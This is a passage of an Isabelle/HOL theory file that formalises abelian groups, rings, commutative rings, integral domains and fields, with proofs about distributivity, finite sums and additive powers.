``` 75 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<oplus> z = x \<oplus> (y \<oplus> z)"
```
``` 76 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<zero> \<oplus> x = x"
```
``` 77 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y = y \<oplus> x"
```
``` 78 using assms unfolding abelian_monoid_def comm_monoid_def comm_monoid_axioms_def monoid_def by auto
```
``` 79
```
``` 80 lemma abelian_groupI:
```
``` 81 fixes R (structure)
```
``` 82 assumes "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y \<in> carrier R"
```
``` 83 and "\<zero> \<in> carrier R"
```
``` 84 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<oplus> z = x \<oplus> (y \<oplus> z)"
```
``` 85 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y = y \<oplus> x"
```
``` 86 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<zero> \<oplus> x = x"
```
``` 87 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<exists>y \<in> carrier R. y \<oplus> x = \<zero>"
```
``` 88 shows "abelian_group R"
```
``` 89 by (auto intro!: abelian_group.intro abelian_monoidI
```
``` 90 abelian_group_axioms.intro comm_monoidI comm_groupI
```
``` 91 intro: assms)
```
``` 92
```
``` 93 lemma abelian_groupE:
```
``` 94 fixes R (structure)
```
``` 95 assumes "abelian_group R"
```
``` 96 shows "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y \<in> carrier R"
```
``` 97 and "\<zero> \<in> carrier R"
```
``` 98 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<oplus> z = x \<oplus> (y \<oplus> z)"
```
``` 99 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<oplus> y = y \<oplus> x"
```
``` 100 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<zero> \<oplus> x = x"
```
``` 101 and "\<And>x. x \<in> carrier R \<Longrightarrow> \<exists>y \<in> carrier R. y \<oplus> x = \<zero>"
```
``` 102 using abelian_group.a_comm_group assms comm_groupE by fastforce+
```
``` 103
```
``` 104 lemma (in abelian_monoid) a_monoid:
```
``` 105 "monoid (add_monoid G)"
```
``` 106 by (rule comm_monoid.axioms, rule a_comm_monoid)
```
``` 107
```
``` 108 lemma (in abelian_group) a_group:
```
``` 109 "group (add_monoid G)"
```
``` 110 by (simp add: group_def a_monoid)
```
``` 111 (simp add: comm_group.axioms group.axioms a_comm_group)
```
``` 112
```
``` 113 lemmas monoid_record_simps = partial_object.simps monoid.simps
```
``` 114
```
``` 115 text \<open>Transfer facts from multiplicative structures via interpretation.\<close>
```
``` 116
```
``` 117 sublocale abelian_monoid <
```
``` 118 add: monoid "(add_monoid G)"
```
``` 119 rewrites "carrier (add_monoid G) = carrier G"
```
``` 120 and "mult (add_monoid G) = add G"
```
``` 121 and "one (add_monoid G) = zero G"
```
``` 122 and "(\<lambda>a k. pow (add_monoid G) a k) = (\<lambda>a k. add_pow G k a)"
```
``` 123 by (rule a_monoid) (auto simp add: add_pow_def)
```
``` 124
```
``` 125 context abelian_monoid
```
``` 126 begin
```
``` 127
```
``` 128 lemmas a_closed = add.m_closed
```
``` 129 lemmas zero_closed = add.one_closed
```
``` 130 lemmas a_assoc = add.m_assoc
```
``` 131 lemmas l_zero = add.l_one
```
``` 132 lemmas r_zero = add.r_one
```
``` 133 lemmas minus_unique = add.inv_unique
```
``` 134
```
``` 135 end
```
``` 136
```
``` 137 sublocale abelian_monoid <
```
``` 138 add: comm_monoid "(add_monoid G)"
```
``` 139 rewrites "carrier (add_monoid G) = carrier G"
```
``` 140 and "mult (add_monoid G) = add G"
```
``` 141 and "one (add_monoid G) = zero G"
```
``` 142 and "finprod (add_monoid G) = finsum G"
```
``` 143 and "pow (add_monoid G) = (\<lambda>a k. add_pow G k a)"
```
``` 144 by (rule a_comm_monoid) (auto simp: finsum_def add_pow_def)
```
``` 145
```
``` 146 context abelian_monoid begin
```
``` 147
```
``` 148 lemmas a_comm = add.m_comm
```
``` 149 lemmas a_lcomm = add.m_lcomm
```
``` 150 lemmas a_ac = a_assoc a_comm a_lcomm
```
``` 151
```
``` 152 lemmas finsum_empty = add.finprod_empty
```
``` 153 lemmas finsum_insert = add.finprod_insert
```
``` 154 lemmas finsum_zero = add.finprod_one
```
``` 155 lemmas finsum_closed = add.finprod_closed
```
``` 156 lemmas finsum_Un_Int = add.finprod_Un_Int
```
``` 157 lemmas finsum_Un_disjoint = add.finprod_Un_disjoint
```
``` 158 lemmas finsum_addf = add.finprod_multf
```
``` 159 lemmas finsum_cong' = add.finprod_cong'
```
``` 160 lemmas finsum_0 = add.finprod_0
```
``` 161 lemmas finsum_Suc = add.finprod_Suc
```
``` 162 lemmas finsum_Suc2 = add.finprod_Suc2
```
``` 163 lemmas finsum_add = add.finprod_mult
```
``` 164 lemmas finsum_infinite = add.finprod_infinite
```
``` 165
```
``` 166 lemmas finsum_cong = add.finprod_cong
```
``` 167 text \<open>Usually, if this rule causes a failed congruence proof error,
```
``` 168 the reason is that the premise \<open>g \<in> B \<rightarrow> carrier G\<close> cannot be shown.
```
``` 169 Adding @{thm [source] Pi_def} to the simpset is often useful.\<close>
```
``` 170
```
``` 171 lemmas finsum_reindex = add.finprod_reindex
```
``` 172
```
``` 173 (* The following would be wrong. Needed is the equivalent of [^] for addition,
```
``` 174 or indeed the canonical embedding from Nat into the monoid.
```
``` 175
```
``` 176 lemma finsum_const:
```
``` 177 assumes fin [simp]: "finite A"
```
``` 178 and a [simp]: "a : carrier G"
```
``` 179 shows "finsum G (%x. a) A = a [^] card A"
```
``` 180 using fin apply induct
```
``` 181 apply force
```
``` 182 apply (subst finsum_insert)
```
``` 183 apply auto
```
``` 184 apply (force simp add: Pi_def)
```
``` 185 apply (subst m_comm)
```
``` 186 apply auto
```
``` 187 done
```
``` 188 *)
```
``` 189
```
``` 190 lemmas finsum_singleton = add.finprod_singleton
```
``` 191
```
``` 192 end
```
``` 193
```
``` 194 sublocale abelian_group <
```
``` 195 add: group "(add_monoid G)"
```
``` 196 rewrites "carrier (add_monoid G) = carrier G"
```
``` 197 and "mult (add_monoid G) = add G"
```
``` 198 and "one (add_monoid G) = zero G"
```
``` 199 and "m_inv (add_monoid G) = a_inv G"
```
``` 200 and "pow (add_monoid G) = (\<lambda>a k. add_pow G k a)"
```
``` 201 by (rule a_group) (auto simp: m_inv_def a_inv_def add_pow_def)
```
``` 202
```
``` 203 context abelian_group
```
``` 204 begin
```
``` 205
```
``` 206 lemmas a_inv_closed = add.inv_closed
```
``` 207
```
``` 208 lemma minus_closed [intro, simp]:
```
``` 209 "[| x \<in> carrier G; y \<in> carrier G |] ==> x \<ominus> y \<in> carrier G"
```
``` 210 by (simp add: a_minus_def)
```
``` 211
```
``` 212 lemmas l_neg = add.l_inv [simp del]
```
``` 213 lemmas r_neg = add.r_inv [simp del]
```
``` 214 lemmas minus_minus = add.inv_inv
```
``` 215 lemmas a_inv_inj = add.inv_inj
```
``` 216 lemmas minus_equality = add.inv_equality
```
``` 217
```
``` 218 end
```
``` 219
```
``` 220 sublocale abelian_group <
```
``` 221 add: comm_group "(add_monoid G)"
```
``` 222 rewrites "carrier (add_monoid G) = carrier G"
```
``` 223 and "mult (add_monoid G) = add G"
```
``` 224 and "one (add_monoid G) = zero G"
```
``` 225 and "m_inv (add_monoid G) = a_inv G"
```
``` 226 and "finprod (add_monoid G) = finsum G"
```
``` 227 and "pow (add_monoid G) = (\<lambda>a k. add_pow G k a)"
```
``` 228 by (rule a_comm_group) (auto simp: m_inv_def a_inv_def finsum_def add_pow_def)
```
``` 229
```
``` 230 lemmas (in abelian_group) minus_add = add.inv_mult
```
``` 231
```
``` 232 text \<open>Derive an \<open>abelian_group\<close> from a \<open>comm_group\<close>\<close>
```
``` 233
```
``` 234 lemma comm_group_abelian_groupI:
```
``` 235 fixes G (structure)
```
``` 236 assumes cg: "comm_group (add_monoid G)"
```
``` 237 shows "abelian_group G"
```
``` 238 proof -
```
``` 239 interpret comm_group "(add_monoid G)"
```
``` 240 by (rule cg)
```
``` 241 show "abelian_group G" ..
```
``` 242 qed
```
``` 243
```
``` 244
```
``` 245 subsection \<open>Rings: Basic Definitions\<close>
```
``` 246
```
``` 247 locale semiring = abelian_monoid (* for add *) R + monoid (* for mult *) R for R (structure) +
```
``` 248 assumes l_distr: "\<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 249 and r_distr: "\<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> z \<otimes> (x \<oplus> y) = z \<otimes> x \<oplus> z \<otimes> y"
```
``` 250 and l_null[simp]: "x \<in> carrier R \<Longrightarrow> \<zero> \<otimes> x = \<zero>"
```
``` 251 and r_null[simp]: "x \<in> carrier R \<Longrightarrow> x \<otimes> \<zero> = \<zero>"
```
``` 252
```
``` 253 locale ring = abelian_group (* for add *) R + monoid (* for mult *) R for R (structure) +
```
``` 254 assumes "\<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 255 and "\<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> z \<otimes> (x \<oplus> y) = z \<otimes> x \<oplus> z \<otimes> y"
```
``` 256
```
``` 257 locale cring = ring + comm_monoid (* for mult *) R
```
``` 258
```
``` 259 locale "domain" = cring +
```
``` 260 assumes one_not_zero [simp]: "\<one> \<noteq> \<zero>"
```
``` 261 and integral: "\<lbrakk> a \<otimes> b = \<zero>; a \<in> carrier R; b \<in> carrier R \<rbrakk> \<Longrightarrow> a = \<zero> \<or> b = \<zero>"
```
``` 262
```
``` 263 locale field = "domain" +
```
``` 264 assumes field_Units: "Units R = carrier R - {\<zero>}"
```
``` 265
```
``` 266
```
``` 267 subsection \<open>Rings\<close>
```
``` 268
```
``` 269 lemma ringI:
```
``` 270 fixes R (structure)
```
``` 271 assumes "abelian_group R"
```
``` 272 and "monoid R"
```
``` 273 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 274 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> z \<otimes> (x \<oplus> y) = z \<otimes> x \<oplus> z \<otimes> y"
```
``` 275 shows "ring R"
```
``` 276 by (auto intro: ring.intro
```
``` 277 abelian_group.axioms ring_axioms.intro assms)
```
``` 278
```
``` 279 lemma ringE:
```
``` 280 fixes R (structure)
```
``` 281 assumes "ring R"
```
``` 282 shows "abelian_group R"
```
``` 283 and "monoid R"
```
``` 284 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 285 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> z \<otimes> (x \<oplus> y) = z \<otimes> x \<oplus> z \<otimes> y"
```
``` 286 using assms unfolding ring_def ring_axioms_def by auto
```
``` 287
```
``` 288 context ring begin
```
``` 289
```
``` 290 lemma is_abelian_group: "abelian_group R" ..
```
``` 291
```
``` 292 lemma is_monoid: "monoid R"
```
``` 293 by (auto intro!: monoidI m_assoc)
```
``` 294
```
``` 295 lemma is_ring: "ring R"
```
``` 296 by (rule ring_axioms)
```
``` 297
```
``` 298 end
```
``` 299 thm monoid_record_simps
```
``` 300 lemmas ring_record_simps = monoid_record_simps ring.simps
```
``` 301
```
``` 302 lemma cringI:
```
``` 303 fixes R (structure)
```
``` 304 assumes abelian_group: "abelian_group R"
```
``` 305 and comm_monoid: "comm_monoid R"
```
``` 306 and l_distr: "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow>
```
``` 307 (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 308 shows "cring R"
```
``` 309 proof (intro cring.intro ring.intro)
```
``` 310 show "ring_axioms R"
```
``` 311 \<comment> \<open>Right-distributivity follows from left-distributivity and
```
``` 312 commutativity.\<close>
```
``` 313 proof (rule ring_axioms.intro)
```
``` 314 fix x y z
```
``` 315 assume R: "x \<in> carrier R" "y \<in> carrier R" "z \<in> carrier R"
```
``` 316 note [simp] = comm_monoid.axioms [OF comm_monoid]
```
``` 317 abelian_group.axioms [OF abelian_group]
```
``` 318 abelian_monoid.a_closed
```
``` 319
```
``` 320 from R have "z \<otimes> (x \<oplus> y) = (x \<oplus> y) \<otimes> z"
```
``` 321 by (simp add: comm_monoid.m_comm [OF comm_monoid.intro])
```
``` 322 also from R have "... = x \<otimes> z \<oplus> y \<otimes> z" by (simp add: l_distr)
```
``` 323 also from R have "... = z \<otimes> x \<oplus> z \<otimes> y"
```
``` 324 by (simp add: comm_monoid.m_comm [OF comm_monoid.intro])
```
``` 325 finally show "z \<otimes> (x \<oplus> y) = z \<otimes> x \<oplus> z \<otimes> y" .
```
``` 326 qed (rule l_distr)
```
``` 327 qed (auto intro: cring.intro
```
``` 328 abelian_group.axioms comm_monoid.axioms ring_axioms.intro assms)
```
``` 329
```
``` 330 lemma cringE:
```
``` 331 fixes R (structure)
```
``` 332 assumes "cring R"
```
``` 333 shows "comm_monoid R"
```
``` 334 and "\<And>x y z. \<lbrakk> x \<in> carrier R; y \<in> carrier R; z \<in> carrier R \<rbrakk> \<Longrightarrow> (x \<oplus> y) \<otimes> z = x \<otimes> z \<oplus> y \<otimes> z"
```
``` 335 using assms cring_def apply auto by (simp add: assms cring.axioms(1) ringE(3))
```
``` 336
```
``` 337 (*
```
``` 338 lemma (in cring) is_comm_monoid:
```
``` 339 "comm_monoid R"
```
``` 340 by (auto intro!: comm_monoidI m_assoc m_comm)
```
``` 341 *)
```
``` 342 lemma (in cring) is_cring:
```
``` 343 "cring R" by (rule cring_axioms)
```
``` 344
```
``` 345 lemma (in ring) minus_zero [simp]: "\<ominus> \<zero> = \<zero>"
```
``` 346 by (simp add: a_inv_def)
```
``` 347
```
``` 348 subsubsection \<open>Normaliser for Rings\<close>
```
``` 349
```
``` 350 lemma (in abelian_group) r_neg1:
```
``` 351 "\<lbrakk> x \<in> carrier G; y \<in> carrier G \<rbrakk> \<Longrightarrow> (\<ominus> x) \<oplus> (x \<oplus> y) = y"
```
``` 352 proof -
```
``` 353 assume G: "x \<in> carrier G" "y \<in> carrier G"
```
``` 354 then have "(\<ominus> x \<oplus> x) \<oplus> y = y"
```
``` 355 by (simp only: l_neg l_zero)
```
``` 356 with G show ?thesis by (simp add: a_ac)
```
``` 357 qed
```
``` 358
```
``` 359 lemma (in abelian_group) r_neg2:
```
``` 360 "\<lbrakk> x \<in> carrier G; y \<in> carrier G \<rbrakk> \<Longrightarrow> x \<oplus> ((\<ominus> x) \<oplus> y) = y"
```
``` 361 proof -
```
``` 362 assume G: "x \<in> carrier G" "y \<in> carrier G"
```
``` 363 then have "(x \<oplus> \<ominus> x) \<oplus> y = y"
```
``` 364 by (simp only: r_neg l_zero)
```
``` 365 with G show ?thesis
```
``` 366 by (simp add: a_ac)
```
``` 367 qed
```
``` 368
```
``` 369 context ring begin
```
``` 370
```
``` 371 text \<open>
```
``` 372 The following proofs are from Jacobson, Basic Algebra I, pp.~88--89.
```
``` 373 \<close>
```
``` 374
```
``` 375 sublocale semiring
```
``` 376 proof -
```
``` 377 note [simp] = ring_axioms[unfolded ring_def ring_axioms_def]
```
``` 378 show "semiring R"
```
``` 379 proof (unfold_locales)
```
``` 380 fix x
```
``` 381 assume R: "x \<in> carrier R"
```
``` 382 then have "\<zero> \<otimes> x \<oplus> \<zero> \<otimes> x = (\<zero> \<oplus> \<zero>) \<otimes> x"
```
``` 383 by (simp del: l_zero r_zero)
```
``` 384 also from R have "... = \<zero> \<otimes> x \<oplus> \<zero>" by simp
```
``` 385 finally have "\<zero> \<otimes> x \<oplus> \<zero> \<otimes> x = \<zero> \<otimes> x \<oplus> \<zero>" .
```
``` 386 with R show "\<zero> \<otimes> x = \<zero>" by (simp del: r_zero)
```
``` 387 from R have "x \<otimes> \<zero> \<oplus> x \<otimes> \<zero> = x \<otimes> (\<zero> \<oplus> \<zero>)"
```
``` 388 by (simp del: l_zero r_zero)
```
``` 389 also from R have "... = x \<otimes> \<zero> \<oplus> \<zero>" by simp
```
``` 390 finally have "x \<otimes> \<zero> \<oplus> x \<otimes> \<zero> = x \<otimes> \<zero> \<oplus> \<zero>" .
```
``` 391 with R show "x \<otimes> \<zero> = \<zero>" by (simp del: r_zero)
```
``` 392 qed auto
```
``` 393 qed
```
``` 394
```
``` 395 lemma l_minus:
```
``` 396 "\<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> (\<ominus> x) \<otimes> y = \<ominus> (x \<otimes> y)"
```
``` 397 proof -
```
``` 398 assume R: "x \<in> carrier R" "y \<in> carrier R"
```
``` 399 then have "(\<ominus> x) \<otimes> y \<oplus> x \<otimes> y = (\<ominus> x \<oplus> x) \<otimes> y" by (simp add: l_distr)
```
``` 400 also from R have "... = \<zero>" by (simp add: l_neg)
```
``` 401 finally have "(\<ominus> x) \<otimes> y \<oplus> x \<otimes> y = \<zero>" .
```
``` 402 with R have "(\<ominus> x) \<otimes> y \<oplus> x \<otimes> y \<oplus> \<ominus> (x \<otimes> y) = \<zero> \<oplus> \<ominus> (x \<otimes> y)" by simp
```
``` 403 with R show ?thesis by (simp add: a_assoc r_neg)
```
``` 404 qed
```
``` 405
```
``` 406 lemma r_minus:
```
``` 407 "\<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> x \<otimes> (\<ominus> y) = \<ominus> (x \<otimes> y)"
```
``` 408 proof -
```
``` 409 assume R: "x \<in> carrier R" "y \<in> carrier R"
```
``` 410 then have "x \<otimes> (\<ominus> y) \<oplus> x \<otimes> y = x \<otimes> (\<ominus> y \<oplus> y)" by (simp add: r_distr)
```
``` 411 also from R have "... = \<zero>" by (simp add: l_neg)
```
``` 412 finally have "x \<otimes> (\<ominus> y) \<oplus> x \<otimes> y = \<zero>" .
```
``` 413 with R have "x \<otimes> (\<ominus> y) \<oplus> x \<otimes> y \<oplus> \<ominus> (x \<otimes> y) = \<zero> \<oplus> \<ominus> (x \<otimes> y)" by simp
```
``` 414 with R show ?thesis by (simp add: a_assoc r_neg )
```
``` 415 qed
```
``` 416
```
``` 417 end
```
``` 418
```
``` 419 lemma (in abelian_group) minus_eq: "x \<ominus> y = x \<oplus> (\<ominus> y)"
```
``` 420 by (rule a_minus_def)
```
``` 421
```
``` 422 text \<open>Setup algebra method:
```
``` 423 compute distributive normal form in locale contexts\<close>
```
``` 424
```
``` 425
```
``` 426 ML_file "ringsimp.ML"
```
``` 427
```
``` 428 attribute_setup algebra = \<open>
```
``` 429 Scan.lift ((Args.add >> K true || Args.del >> K false) --| Args.colon || Scan.succeed true)
```
``` 430 -- Scan.lift Args.name -- Scan.repeat Args.term
```
``` 431 >> (fn ((b, n), ts) => if b then Ringsimp.add_struct (n, ts) else Ringsimp.del_struct (n, ts))
```
``` 432 \<close> "theorems controlling algebra method"
```
``` 433
```
``` 434 method_setup algebra = \<open>
```
``` 435 Scan.succeed (SIMPLE_METHOD' o Ringsimp.algebra_tac)
```
``` 436 \<close> "normalisation of algebraic structure"
```
``` 437
```
``` 438 lemmas (in semiring) semiring_simprules
```
``` 439 [algebra ring "zero R" "add R" "a_inv R" "a_minus R" "one R" "mult R"] =
```
``` 440 a_closed zero_closed m_closed one_closed
```
``` 441 a_assoc l_zero a_comm m_assoc l_one l_distr r_zero
```
``` 442 a_lcomm r_distr l_null r_null
```
``` 443
```
``` 444 lemmas (in ring) ring_simprules
```
``` 445 [algebra ring "zero R" "add R" "a_inv R" "a_minus R" "one R" "mult R"] =
```
``` 446 a_closed zero_closed a_inv_closed minus_closed m_closed one_closed
```
``` 447 a_assoc l_zero l_neg a_comm m_assoc l_one l_distr minus_eq
```
``` 448 r_zero r_neg r_neg2 r_neg1 minus_add minus_minus minus_zero
```
``` 449 a_lcomm r_distr l_null r_null l_minus r_minus
```
``` 450
```
``` 451 lemmas (in cring)
```
``` 452 [algebra del: ring "zero R" "add R" "a_inv R" "a_minus R" "one R" "mult R"] =
```
``` 453 _
```
``` 454
```
``` 455 lemmas (in cring) cring_simprules
```
``` 456 [algebra add: cring "zero R" "add R" "a_inv R" "a_minus R" "one R" "mult R"] =
```
``` 457 a_closed zero_closed a_inv_closed minus_closed m_closed one_closed
```
``` 458 a_assoc l_zero l_neg a_comm m_assoc l_one l_distr m_comm minus_eq
```
``` 459 r_zero r_neg r_neg2 r_neg1 minus_add minus_minus minus_zero
```
``` 460 a_lcomm m_lcomm r_distr l_null r_null l_minus r_minus
```
``` 461
```
``` 462 lemma (in semiring) nat_pow_zero:
```
``` 463 "(n::nat) \<noteq> 0 \<Longrightarrow> \<zero> [^] n = \<zero>"
```
``` 464 by (induct n) simp_all
```
``` 465
```
``` 466 context semiring begin
```
``` 467
```
``` 468 lemma one_zeroD:
```
``` 469 assumes onezero: "\<one> = \<zero>"
```
``` 470 shows "carrier R = {\<zero>}"
```
``` 471 proof (rule, rule)
```
``` 472 fix x
```
``` 473 assume xcarr: "x \<in> carrier R"
```
``` 474 from xcarr have "x = x \<otimes> \<one>" by simp
```
``` 475 with onezero have "x = x \<otimes> \<zero>" by simp
```
``` 476 with xcarr have "x = \<zero>" by simp
```
``` 477 then show "x \<in> {\<zero>}" by fast
```
``` 478 qed fast
```
``` 479
```
``` 480 lemma one_zeroI:
```
``` 481 assumes carrzero: "carrier R = {\<zero>}"
```
``` 482 shows "\<one> = \<zero>"
```
``` 483 proof -
```
``` 484 from one_closed and carrzero
```
``` 485 show "\<one> = \<zero>" by simp
```
``` 486 qed
```
``` 487
```
``` 488 lemma carrier_one_zero: "(carrier R = {\<zero>}) = (\<one> = \<zero>)"
```
``` 489 apply rule
```
``` 490 apply (erule one_zeroI)
```
``` 491 apply (erule one_zeroD)
```
``` 492 done
```
``` 493
```
``` 494 lemma carrier_one_not_zero: "(carrier R \<noteq> {\<zero>}) = (\<one> \<noteq> \<zero>)"
```
``` 495 by (simp add: carrier_one_zero)
```
``` 496
```
``` 497 end
```
``` 498
```
``` 499 text \<open>Two examples for use of method algebra\<close>
```
``` 500
```
``` 501 lemma
```
``` 502 fixes R (structure) and S (structure)
```
``` 503 assumes "ring R" "cring S"
```
``` 504 assumes RS: "a \<in> carrier R" "b \<in> carrier R" "c \<in> carrier S" "d \<in> carrier S"
```
``` 505 shows "a \<oplus> (\<ominus> (a \<oplus> (\<ominus> b))) = b \<and> c \<otimes>\<^bsub>S\<^esub> d = d \<otimes>\<^bsub>S\<^esub> c"
```
``` 506 proof -
```
``` 507 interpret ring R by fact
```
``` 508 interpret cring S by fact
```
``` 509 from RS show ?thesis by algebra
```
``` 510 qed
```
``` 511
```
``` 512 lemma
```
``` 513 fixes R (structure)
```
``` 514 assumes "ring R"
```
``` 515 assumes R: "a \<in> carrier R" "b \<in> carrier R"
```
``` 516 shows "a \<ominus> (a \<ominus> b) = b"
```
``` 517 proof -
```
``` 518 interpret ring R by fact
```
``` 519 from R show ?thesis by algebra
```
``` 520 qed
```
``` 521
```
``` 522
```
``` 523 subsubsection \<open>Sums over Finite Sets\<close>
```
``` 524
```
``` 525 lemma (in semiring) finsum_ldistr:
```
``` 526 "\<lbrakk> finite A; a \<in> carrier R; f: A \<rightarrow> carrier R \<rbrakk> \<Longrightarrow>
```
``` 527 (\<Oplus> i \<in> A. (f i)) \<otimes> a = (\<Oplus> i \<in> A. ((f i) \<otimes> a))"
```
``` 528 proof (induct set: finite)
```
``` 529 case empty then show ?case by simp
```
``` 530 next
```
``` 531 case (insert x F) then show ?case by (simp add: Pi_def l_distr)
```
``` 532 qed
```
``` 533
```
``` 534 lemma (in semiring) finsum_rdistr:
```
``` 535 "\<lbrakk> finite A; a \<in> carrier R; f: A \<rightarrow> carrier R \<rbrakk> \<Longrightarrow>
```
``` 536 a \<otimes> (\<Oplus> i \<in> A. (f i)) = (\<Oplus> i \<in> A. (a \<otimes> (f i)))"
```
``` 537 proof (induct set: finite)
```
``` 538 case empty then show ?case by simp
```
``` 539 next
```
``` 540 case (insert x F) then show ?case by (simp add: Pi_def r_distr)
```
``` 541 qed
```
``` 542
```
``` 543 (* ************************************************************************** *)
```
``` 544 (* Contributed by Paulo E. de Vilhena. *)
```
``` 545
```
``` 546 text \<open>A quick detour\<close>
```
``` 547
```
``` 548 lemma add_pow_int_ge: "(k :: int) \<ge> 0 \<Longrightarrow> [ k ] \<cdot>\<^bsub>R\<^esub> a = [ nat k ] \<cdot>\<^bsub>R\<^esub> a"
```
``` 549 by (simp add: add_pow_def int_pow_def nat_pow_def)
```
``` 550
```
``` 551 lemma add_pow_int_lt: "(k :: int) < 0 \<Longrightarrow> [ k ] \<cdot>\<^bsub>R\<^esub> a = \<ominus>\<^bsub>R\<^esub> ([ nat (- k) ] \<cdot>\<^bsub>R\<^esub> a)"
```
``` 552 by (simp add: int_pow_def nat_pow_def a_inv_def add_pow_def)
```
``` 553
```
``` 554 corollary (in semiring) add_pow_ldistr:
```
``` 555 assumes "a \<in> carrier R" "b \<in> carrier R"
```
``` 556 shows "([(k :: nat)] \<cdot> a) \<otimes> b = [k] \<cdot> (a \<otimes> b)"
```
``` 557 proof -
```
``` 558 have "([k] \<cdot> a) \<otimes> b = (\<Oplus> i \<in> {..< k}. a) \<otimes> b"
```
``` 559 using add.finprod_const[OF assms(1), of "{..<k}"] by simp
```
``` 560 also have " ... = (\<Oplus> i \<in> {..< k}. (a \<otimes> b))"
```
``` 561 using finsum_ldistr[of "{..<k}" b "\<lambda>x. a"] assms by simp
```
``` 562 also have " ... = [k] \<cdot> (a \<otimes> b)"
```
``` 563 using add.finprod_const[of "a \<otimes> b" "{..<k}"] assms by simp
```
``` 564 finally show ?thesis .
```
``` 565 qed
```
``` 566
```
``` 567 corollary (in semiring) add_pow_rdistr:
```
``` 568 assumes "a \<in> carrier R" "b \<in> carrier R"
```
``` 569 shows "a \<otimes> ([(k :: nat)] \<cdot> b) = [k] \<cdot> (a \<otimes> b)"
```
``` 570 proof -
```
``` 571 have "a \<otimes> ([k] \<cdot> b) = a \<otimes> (\<Oplus> i \<in> {..< k}. b)"
```
``` 572 using add.finprod_const[OF assms(2), of "{..<k}"] by simp
```
``` 573 also have " ... = (\<Oplus> i \<in> {..< k}. (a \<otimes> b))"
```
``` 574 using finsum_rdistr[of "{..<k}" a "\<lambda>x. b"] assms by simp
```
``` 575 also have " ... = [k] \<cdot> (a \<otimes> b)"
```
``` 576 using add.finprod_const[of "a \<otimes> b" "{..<k}"] assms by simp
```
``` 577 finally show ?thesis .
```
``` 578 qed
```
``` 579
```
``` 580 (* For integers, we need the uniqueness of the additive inverse *)
```
``` 581 lemma (in ring) add_pow_ldistr_int:
```
``` 582 assumes "a \<in> carrier R" "b \<in> carrier R"
```
``` 583 shows "([(k :: int)] \<cdot> a) \<otimes> b = [k] \<cdot> (a \<otimes> b)"
```
``` 584 proof (cases "k \<ge> 0")
```
``` 585 case True thus ?thesis
```
``` 586 using add_pow_int_ge[of k R] add_pow_ldistr[OF assms] by auto
```
``` 587 next
```
``` 588 case False thus ?thesis
```
``` 589 using add_pow_int_lt[of k R a] add_pow_int_lt[of k R "a \<otimes> b"]
```
``` 590 add_pow_ldistr[OF assms, of "nat (- k)"] assms l_minus by auto
```
``` 591 qed
```
``` 592
```
``` 593 lemma (in ring) add_pow_rdistr_int:
```
``` 594 assumes "a \<in> carrier R" "b \<in> carrier R"
```
``` 595 shows "a \<otimes> ([(k :: int)] \<cdot> b) = [k] \<cdot> (a \<otimes> b)"
```
``` 596 proof (cases "k \<ge> 0")
```
``` 597 case True thus ?thesis
```
``` 598 using add_pow_int_ge[of k R] add_pow_rdistr[OF assms] by auto
```
``` 599 next
```
``` 600 case False thus ?thesis
```
``` 601 using add_pow_int_lt[of k R b] add_pow_int_lt[of k R "a \<otimes> b"]
```
``` 602 add_pow_rdistr[OF assms, of "nat (- k)"] assms r_minus by auto
```
``` 603 qed
```
``` 604
```
``` 605
```
``` 606 subsection \<open>Integral Domains\<close>
```
``` 607
```
``` 608 context "domain" begin
```
``` 609
```
``` 610 lemma zero_not_one [simp]: "\<zero> \<noteq> \<one>"
```
``` 611 by (rule not_sym) simp
```
``` 612
```
``` 613 lemma integral_iff: (* not by default a simp rule! *)
```
``` 614 "\<lbrakk> a \<in> carrier R; b \<in> carrier R \<rbrakk> \<Longrightarrow> (a \<otimes> b = \<zero>) = (a = \<zero> \<or> b = \<zero>)"
```
``` 615 proof
```
